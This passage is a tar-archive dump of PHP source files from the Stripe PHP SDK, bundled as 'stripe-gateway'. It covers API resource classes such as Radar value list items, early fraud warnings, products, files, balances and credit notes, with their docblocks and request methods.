href="https://stripe.com/docs/radar/lists#managing-list-items">Managing list items</a> * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property string $created_by The name or email address of the user who added this item to the value list. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property string $value The value of the item. * @property string $value_list The identifier of the value list this item belongs to. */ class ValueListItem extends \Stripe\ApiResource { const OBJECT_NAME = 'radar.value_list_item'; /** * Creates a new <code>ValueListItem</code> object, which is added to the specified * parent value list. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Radar\ValueListItem the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Deletes a <code>ValueListItem</code> object, removing it from its parent value * list. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Radar\ValueListItem the deleted resource */ public function delete($params = null, $opts = null) { self::_validateParams($params); $url = $this->instanceUrl(); list($response, $opts) = $this->_request('delete', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * Returns a list of <code>ValueListItem</code> objects. The objects are sorted in * descending order by creation date, with the most recently created object * appearing first. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Radar\ValueListItem> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves a <code>ValueListItem</code> object. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Radar\ValueListItem */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Radar/EarlyFraudWarning.php������������������������������������������������������0000644�����������������00000006540�14720677707�0015433 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Radar; /** * An early fraud warning indicates that the card issuer has notified us that a * charge may be fraudulent. * * Related guide: <a href="https://stripe.com/docs/disputes/measuring#early-fraud-warnings">Early fraud warnings</a> * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property bool $actionable An EFW is actionable if it has not received a dispute and has not been fully refunded. You may wish to proactively refund a charge that receives an EFW, in order to avoid receiving a dispute later. * @property string|\Stripe\Charge $charge ID of the charge this early fraud warning is for, optionally expanded. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property string $fraud_type The type of fraud labelled by the issuer. One of <code>card_never_received</code>, <code>fraudulent_card_application</code>, <code>made_with_counterfeit_card</code>, <code>made_with_lost_card</code>, <code>made_with_stolen_card</code>, <code>misc</code>, <code>unauthorized_use_of_card</code>. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property null|string|\Stripe\PaymentIntent $payment_intent ID of the Payment Intent this early fraud warning is for, optionally expanded. */ class EarlyFraudWarning extends \Stripe\ApiResource { const OBJECT_NAME = 'radar.early_fraud_warning'; const FRAUD_TYPE_CARD_NEVER_RECEIVED = 'card_never_received'; const FRAUD_TYPE_FRAUDULENT_CARD_APPLICATION = 'fraudulent_card_application'; const FRAUD_TYPE_MADE_WITH_COUNTERFEIT_CARD = 'made_with_counterfeit_card'; const FRAUD_TYPE_MADE_WITH_LOST_CARD = 'made_with_lost_card'; const FRAUD_TYPE_MADE_WITH_STOLEN_CARD = 'made_with_stolen_card'; const FRAUD_TYPE_MISC = 'misc'; const FRAUD_TYPE_UNAUTHORIZED_USE_OF_CARD = 'unauthorized_use_of_card'; /** * Returns a list of early fraud warnings. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Radar\EarlyFraudWarning> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves the details of an early fraud warning that has previously been * created. * * Please refer to the <a href="#early_fraud_warning_object">early fraud * warning</a> object reference for more details. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Radar\EarlyFraudWarning */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/RecipientTransfer.php������������������������������������������������������������0000644�����������������00000001672�14720677707�0014446 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe; /** * Class RecipientTransfer. * * @property string $id * @property string $object * @property int $amount * @property int $amount_reversed * @property string $balance_transaction * @property string $bank_account * @property string $card * @property int $created * @property string $currency * @property int $date * @property string $description * @property string $destination * @property string $failure_code * @property string $failure_message * @property bool $livemode * @property \Stripe\StripeObject $metadata * @property string $method * @property string $recipient * @property \Stripe\Collection $reversals * @property bool $reversed * @property string $source_type * @property string $statement_descriptor * @property string $status * @property string $type */ class RecipientTransfer extends ApiResource { const OBJECT_NAME = 'recipient_transfer'; } ����������������������������������������������������������������������stripe-gateway/lib/CountrySpec.php������������������������������������������������������������������0000644�����������������00000005373�14720677707�0013277 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * Stripe needs to collect certain pieces of information about each account * created. These requirements can differ depending on the account's country. The * Country Specs API makes these rules available to your integration. * * You can also view the information from this API call as <a href="/docs/connect/required-verification-information">an online * guide</a>. * * @property string $id Unique identifier for the object. Represented as the ISO country code for this country. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property string $default_currency The default currency for this country. This applies to both payment methods and bank accounts. * @property \Stripe\StripeObject $supported_bank_account_currencies Currencies that can be accepted in the specific country (for transfers). * @property string[] $supported_payment_currencies Currencies that can be accepted in the specified country (for payments). * @property string[] $supported_payment_methods Payment methods available in the specified country. You may need to enable some payment methods (e.g., <a href="https://stripe.com/docs/ach">ACH</a>) on your account before they appear in this list. The <code>stripe</code> payment method refers to <a href="https://stripe.com/docs/connect/destination-charges">charging through your platform</a>. * @property string[] $supported_transfer_countries Countries that can accept transfers from the specified country. * @property \Stripe\StripeObject $verification_fields */ class CountrySpec extends ApiResource { const OBJECT_NAME = 'country_spec'; /** * Lists all Country Spec objects available in the API. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\CountrySpec> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Returns a Country Spec for a given Country code. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\CountrySpec */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/CustomerSession.php��������������������������������������������������������������0000644�����������������00000004305�14720677707�0014160 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * A Customer Session allows you to grant Stripe's frontend SDKs (like Stripe.js) client-side access * control over a Customer. * * @property string $object String representing the object's type. Objects of the same type share the same value. * @property string $client_secret <p>The client secret of this Customer Session. Used on the client to set up secure access to the given <code>customer</code>.</p><p>The client secret can be used to provide access to <code>customer</code> from your frontend. It should not be stored, logged, or exposed to anyone other than the relevant customer. Make sure that you have TLS enabled on any page that includes the client secret.</p> * @property null|\Stripe\StripeObject $components Configuration for the components supported by this Customer Session. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property string|\Stripe\Customer $customer The Customer the Customer Session was created for. * @property int $expires_at The timestamp at which this Customer Session will expire. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. */ class CustomerSession extends ApiResource { const OBJECT_NAME = 'customer_session'; /** * Creates a Customer Session object that includes a single-use client secret that * you can use on your front-end to grant client-side API access for certain * customer resources. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\CustomerSession the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/ApiResponse.php������������������������������������������������������������������0000644�����������������00000001365�14720677707�0013246 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe; use Stripe\Util\CaseInsensitiveArray; /** * Class ApiResponse. */ class ApiResponse { /** * @var null|array|CaseInsensitiveArray */ public $headers; /** * @var string */ public $body; /** * @var null|array */ public $json; /** * @var int */ public $code; /** * @param string $body * @param int $code * @param null|array|CaseInsensitiveArray $headers * @param null|array $json */ public function __construct($body, $code, $headers, $json) { $this->body = $body; $this->code = $code; $this->headers = $headers; $this->json = $json; } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/TaxDeductedAtSource.php����������������������������������������������������������0000644�����������������00000001327�14720677707�0014660 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $period_end The end of the invoicing period. This TDS applies to Stripe fees collected during this invoicing period. * @property int $period_start The start of the invoicing period. This TDS applies to Stripe fees collected during this invoicing period. * @property string $tax_deduction_account_number The TAN that was supplied to Stripe when TDS was assessed */ class TaxDeductedAtSource extends ApiResource { const OBJECT_NAME = 'tax_deducted_at_source'; } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Product.php����������������������������������������������������������������������0000644�����������������00000023624�14720677707�0012440 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * Products describe the specific goods or services you offer to your customers. * For example, you might offer a Standard and Premium version of your goods or service; each version would be a separate Product. * They can be used in conjunction with <a href="https://stripe.com/docs/api#prices">Prices</a> to configure pricing in Payment Links, Checkout, and Subscriptions. * * Related guides: <a href="https://stripe.com/docs/billing/subscriptions/set-up-subscription">Set up a subscription</a>, * <a href="https://stripe.com/docs/payment-links">share a Payment Link</a>, * <a href="https://stripe.com/docs/payments/accept-a-payment#create-product-prices-upfront">accept payments with Checkout</a>, * and more about <a href="https://stripe.com/docs/products-prices/overview">Products and Prices</a> * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property bool $active Whether the product is currently available for purchase. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property null|string|\Stripe\Price $default_price The ID of the <a href="https://stripe.com/docs/api/prices">Price</a> object that is the default price for this product. * @property null|string $description The product's description, meant to be displayable to the customer. Use this field to optionally store a long form explanation of the product being sold for your own rendering purposes. * @property string[] $images A list of up to 8 URLs of images for this product, meant to be displayable to the customer. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property \Stripe\StripeObject[] $marketing_features A list of up to 15 marketing features for this product. These are displayed in <a href="https://stripe.com/docs/payments/checkout/pricing-table">pricing tables</a>. * @property \Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. * @property string $name The product's name, meant to be displayable to the customer. * @property null|\Stripe\StripeObject $package_dimensions The dimensions of this product for shipping purposes. * @property null|bool $shippable Whether this product is shipped (i.e., physical goods). * @property null|string $statement_descriptor Extra information about a product which will appear on your customer's credit card statement. In the case that multiple products are billed at once, the first statement descriptor will be used. Only used for subscription payments. * @property null|string|\Stripe\TaxCode $tax_code A <a href="https://stripe.com/docs/tax/tax-categories">tax code</a> ID. * @property string $type The type of the product. The product is either of type <code>good</code>, which is eligible for use with Orders and SKUs, or <code>service</code>, which is eligible for use with Subscriptions and Plans. * @property null|string $unit_label A label that represents units of this product. When set, this will be included in customers' receipts, invoices, Checkout, and the customer portal. * @property int $updated Time at which the object was last updated. Measured in seconds since the Unix epoch. * @property null|string $url A URL of a publicly-accessible webpage for this product. */ class Product extends ApiResource { const OBJECT_NAME = 'product'; use ApiOperations\NestedResource; use ApiOperations\Update; const TYPE_GOOD = 'good'; const TYPE_SERVICE = 'service'; /** * Creates a new product object. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Product the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Delete a product. Deleting a product is only possible if it has no prices * associated with it. Additionally, deleting a product with <code>type=good</code> * is only possible if it has no SKUs associated with it. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Product the deleted resource */ public function delete($params = null, $opts = null) { self::_validateParams($params); $url = $this->instanceUrl(); list($response, $opts) = $this->_request('delete', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * Returns a list of your products. The products are returned sorted by creation * date, with the most recently created products appearing first. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Product> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves the details of an existing product. Supply the unique product ID from * either a product creation request or the product list, and Stripe will return * the corresponding product information. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Product */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * Updates the specific product by setting the values of the parameters passed. Any * parameters not provided will be left unchanged. * * @param string $id the ID of the resource to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Product the updated resource */ public static function update($id, $params = null, $opts = null) { self::_validateParams($params); $url = static::resourceUrl($id); list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\SearchResult<\Stripe\Product> the product search results */ public static function search($params = null, $opts = null) { $url = '/v1/products/search'; return static::_requestPage($url, \Stripe\SearchResult::class, $params, $opts); } const PATH_FEATURES = '/features'; /** * @param string $id the ID of the product on which to retrieve the product features * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\ProductFeature> the list of product features */ public static function allFeatures($id, $params = null, $opts = null) { return self::_allNestedResources($id, static::PATH_FEATURES, $params, $opts); } /** * @param string $id the ID of the product on which to create the product feature * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\ProductFeature */ public static function createFeature($id, $params = null, $opts = null) { return self::_createNestedResource($id, static::PATH_FEATURES, $params, $opts); } /** * @param string $id the ID of the product to which the product feature belongs * @param string $featureId the ID of the product feature to delete * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\ProductFeature */ public static function deleteFeature($id, $featureId, $params = null, $opts = null) { return self::_deleteNestedResource($id, static::PATH_FEATURES, $featureId, $params, $opts); } /** * @param string $id the ID of the product to which the product feature belongs * @param string $featureId the ID of the product feature to retrieve * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\ProductFeature */ public static function retrieveFeature($id, $featureId, $params = null, $opts = null) { return self::_retrieveNestedResource($id, static::PATH_FEATURES, $featureId, $params, $opts); } } ������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Discount.php���������������������������������������������������������������������0000644�����������������00000005530�14720677707�0012604 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * A discount represents the actual application of a <a href="https://stripe.com/docs/api#coupons">coupon</a> or <a href="https://stripe.com/docs/api#promotion_codes">promotion code</a>. * It contains information about when the discount began, when it will end, and what it is applied to. * * Related guide: <a href="https://stripe.com/docs/billing/subscriptions/discounts">Applying discounts to subscriptions</a> * * @property string $id The ID of the discount object. Discounts cannot be fetched by ID. Use <code>expand[]=discounts</code> in API calls to expand discount IDs in an array. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property null|string $checkout_session The Checkout session that this coupon is applied to, if it is applied to a particular session in payment mode. Will not be present for subscription mode. * @property \Stripe\Coupon $coupon A coupon contains information about a percent-off or amount-off discount you might want to apply to a customer. Coupons may be applied to <a href="https://stripe.com/docs/api#subscriptions">subscriptions</a>, <a href="https://stripe.com/docs/api#invoices">invoices</a>, <a href="https://stripe.com/docs/api/checkout/sessions">checkout sessions</a>, <a href="https://stripe.com/docs/api#quotes">quotes</a>, and more. Coupons do not work with conventional one-off <a href="https://stripe.com/docs/api#create_charge">charges</a> or <a href="https://stripe.com/docs/api/payment_intents">payment intents</a>. * @property null|string|\Stripe\Customer $customer The ID of the customer associated with this discount. * @property null|int $end If the coupon has a duration of <code>repeating</code>, the date that this discount will end. If the coupon has a duration of <code>once</code> or <code>forever</code>, this attribute will be null. * @property null|string $invoice The invoice that the discount's coupon was applied to, if it was applied directly to a particular invoice. * @property null|string $invoice_item The invoice item <code>id</code> (or invoice line item <code>id</code> for invoice line items of type='subscription') that the discount's coupon was applied to, if it was applied directly to a particular invoice item or invoice line item. * @property null|string|\Stripe\PromotionCode $promotion_code The promotion code applied to create this discount. * @property int $start Date that the coupon was applied. * @property null|string $subscription The subscription that this coupon is applied to, if it is applied to a particular subscription. * @property null|string $subscription_item The subscription item that this coupon is applied to, if it is applied to a particular subscription item. */ class Discount extends ApiResource { const OBJECT_NAME = 'discount'; } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/File.php�������������������������������������������������������������������������0000644�����������������00000012046�14720677707�0011673 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * This object represents files hosted on Stripe's servers. You can upload * files with the <a href="https://stripe.com/docs/api#create_file">create file</a> request * (for example, when uploading dispute evidence). Stripe also * creates files independently (for example, the results of a <a href="#scheduled_queries">Sigma scheduled * query</a>). * * Related guide: <a href="https://stripe.com/docs/file-upload">File upload guide</a> * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property null|int $expires_at The file expires and isn't available at this time in epoch seconds. * @property null|string $filename The suitable name for saving the file to a filesystem. * @property null|\Stripe\Collection<\Stripe\FileLink> $links A list of <a href="https://stripe.com/docs/api#file_links">file links</a> that point at this file. * @property string $purpose The <a href="https://stripe.com/docs/file-upload#uploading-a-file">purpose</a> of the uploaded file. * @property int $size The size of the file object in bytes. * @property null|string $title A suitable title for the document. * @property null|string $type The returned file type (for example, <code>csv</code>, <code>pdf</code>, <code>jpg</code>, or <code>png</code>). * @property null|string $url Use your live secret API key to download the file from this URL. */ class File extends ApiResource { const OBJECT_NAME = 'file'; const PURPOSE_ACCOUNT_REQUIREMENT = 'account_requirement'; const PURPOSE_ADDITIONAL_VERIFICATION = 'additional_verification'; const PURPOSE_BUSINESS_ICON = 'business_icon'; const PURPOSE_BUSINESS_LOGO = 'business_logo'; const PURPOSE_CUSTOMER_SIGNATURE = 'customer_signature'; const PURPOSE_DISPUTE_EVIDENCE = 'dispute_evidence'; const PURPOSE_DOCUMENT_PROVIDER_IDENTITY_DOCUMENT = 'document_provider_identity_document'; const PURPOSE_FINANCE_REPORT_RUN = 'finance_report_run'; const PURPOSE_IDENTITY_DOCUMENT = 'identity_document'; const PURPOSE_IDENTITY_DOCUMENT_DOWNLOADABLE = 'identity_document_downloadable'; const PURPOSE_PCI_DOCUMENT = 'pci_document'; const PURPOSE_SELFIE = 'selfie'; const PURPOSE_SIGMA_SCHEDULED_QUERY = 'sigma_scheduled_query'; const PURPOSE_TAX_DOCUMENT_USER_UPLOAD = 'tax_document_user_upload'; const PURPOSE_TERMINAL_READER_SPLASHSCREEN = 'terminal_reader_splashscreen'; /** * Returns a list of the files that your account has access to. Stripe sorts and * returns the files by their creation dates, placing the most recently created * files at the top. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\File> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves the details of an existing file object. After you supply a unique file * ID, Stripe returns the corresponding file object. Learn how to <a * href="/docs/file-upload#download-file-contents">access file contents</a>. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\File */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } // This resource can have two different object names. In latter API // versions, only `file` is used, but since stripe-php may be used with // any API version, we need to support deserializing the older // `file_upload` object into the same class. const OBJECT_NAME_ALT = 'file_upload'; use ApiOperations\Create { create as protected _create; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\File the created file */ public static function create($params = null, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); if (null === $opts->apiBase) { $opts->apiBase = Stripe::$apiUploadBase; } // Manually flatten params, otherwise curl's multipart encoder will // choke on nested arrays. $flatParams = \array_column(\Stripe\Util\Util::flattenParams($params), 1, 0); return static::_create($flatParams, $opts); } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Balance.php����������������������������������������������������������������������0000644�����������������00000005512�14720677707�0012341 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * This is an object representing your Stripe balance. You can retrieve it to see * the balance currently on your Stripe account. * * You can also retrieve the balance history, which contains a list of * <a href="https://stripe.com/docs/reporting/balance-transaction-types">transactions</a> that contributed to the balance * (charges, payouts, and so forth). * * The available and pending amounts for each currency are broken down further by * payment source types. * * Related guide: <a href="https://stripe.com/docs/connect/account-balances">Understanding Connect account balances</a> * * @property string $object String representing the object's type. Objects of the same type share the same value. * @property \Stripe\StripeObject[] $available Available funds that you can transfer or pay out automatically by Stripe or explicitly through the <a href="https://stripe.com/docs/api#transfers">Transfers API</a> or <a href="https://stripe.com/docs/api#payouts">Payouts API</a>. You can find the available balance for each currency and payment type in the <code>source_types</code> property. * @property null|\Stripe\StripeObject[] $connect_reserved Funds held due to negative balances on connected accounts where <a href="/api/accounts/object#account_object-controller-requirement_collection">account.controller.requirement_collection</a> is <code>application</code>, which includes Custom accounts. You can find the connect reserve balance for each currency and payment type in the <code>source_types</code> property. * @property null|\Stripe\StripeObject[] $instant_available Funds that you can pay out using Instant Payouts. * @property null|\Stripe\StripeObject $issuing * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property \Stripe\StripeObject[] $pending Funds that aren't available in the balance yet. You can find the pending balance for each currency and each payment type in the <code>source_types</code> property. */ class Balance extends SingletonApiResource { const OBJECT_NAME = 'balance'; /** * Retrieves the current account balance, based on the authentication that was used * to make the request. For a sample request, see <a * href="/docs/connect/account-balances#accounting-for-negative-balances">Accounting * for negative balances</a>. * * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Balance */ public static function retrieve($opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static(null, $opts); $instance->refresh(); return $instance; } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/RequestTelemetry.php�������������������������������������������������������������0000644�����������������00000001364�14720677707�0014340 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe; /** * Class RequestTelemetry. * * Tracks client request telemetry */ class RequestTelemetry { /** @var string */ public $requestId; /** @var int */ public $requestDuration; /** @var string[] */ public $usage; /** * Initialize a new telemetry object. * * @param string $requestId the request's request ID * @param int $requestDuration the request's duration in milliseconds * @param string[] $usage names of tracked behaviors associated with this request */ public function __construct($requestId, $requestDuration, $usage = []) { $this->requestId = $requestId; $this->requestDuration = $requestDuration; $this->usage = $usage; } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/CreditNote.php�������������������������������������������������������������������0000644�����������������00000025453�14720677707�0013062 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * Issue a credit note to adjust an invoice's amount after the invoice is finalized. * * Related guide: <a href="https://stripe.com/docs/billing/invoices/credit-notes">Credit notes</a> * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $amount The integer amount in cents (or local equivalent) representing the total amount of the credit note, including tax. * @property int $amount_shipping This is the sum of all the shipping amounts. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property string $currency Three-letter <a href="https://www.iso.org/iso-4217-currency-codes.html">ISO currency code</a>, in lowercase. Must be a <a href="https://stripe.com/docs/currencies">supported currency</a>. * @property string|\Stripe\Customer $customer ID of the customer. * @property null|string|\Stripe\CustomerBalanceTransaction $customer_balance_transaction Customer balance transaction related to this credit note. * @property int $discount_amount The integer amount in cents (or local equivalent) representing the total amount of discount that was credited. * @property \Stripe\StripeObject[] $discount_amounts The aggregate amounts calculated per discount for all line items. * @property null|int $effective_at The date when this credit note is in effect. Same as <code>created</code> unless overwritten. When defined, this value replaces the system-generated 'Date of issue' printed on the credit note PDF. * @property string|\Stripe\Invoice $invoice ID of the invoice. * @property \Stripe\Collection<\Stripe\CreditNoteLineItem> $lines Line items that make up the credit note * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property null|string $memo Customer-facing text that appears on the credit note PDF. * @property null|\Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. * @property string $number A unique number that identifies this particular credit note and appears on the PDF of the credit note and its associated invoice. * @property null|int $out_of_band_amount Amount that was credited outside of Stripe. * @property string $pdf The link to download the PDF of the credit note. * @property null|string $reason Reason for issuing this credit note, one of <code>duplicate</code>, <code>fraudulent</code>, <code>order_change</code>, or <code>product_unsatisfactory</code> * @property null|string|\Stripe\Refund $refund Refund related to this credit note. * @property null|\Stripe\StripeObject $shipping_cost The details of the cost of shipping, including the ShippingRate applied to the invoice. * @property string $status Status of this credit note, one of <code>issued</code> or <code>void</code>. Learn more about <a href="https://stripe.com/docs/billing/invoices/credit-notes#voiding">voiding credit notes</a>. * @property int $subtotal The integer amount in cents (or local equivalent) representing the amount of the credit note, excluding exclusive tax and invoice level discounts. * @property null|int $subtotal_excluding_tax The integer amount in cents (or local equivalent) representing the amount of the credit note, excluding all tax and invoice level discounts. * @property \Stripe\StripeObject[] $tax_amounts The aggregate amounts calculated per tax rate for all line items. * @property int $total The integer amount in cents (or local equivalent) representing the total amount of the credit note, including tax and all discount. * @property null|int $total_excluding_tax The integer amount in cents (or local equivalent) representing the total amount of the credit note, excluding tax, but including discounts. * @property string $type Type of this credit note, one of <code>pre_payment</code> or 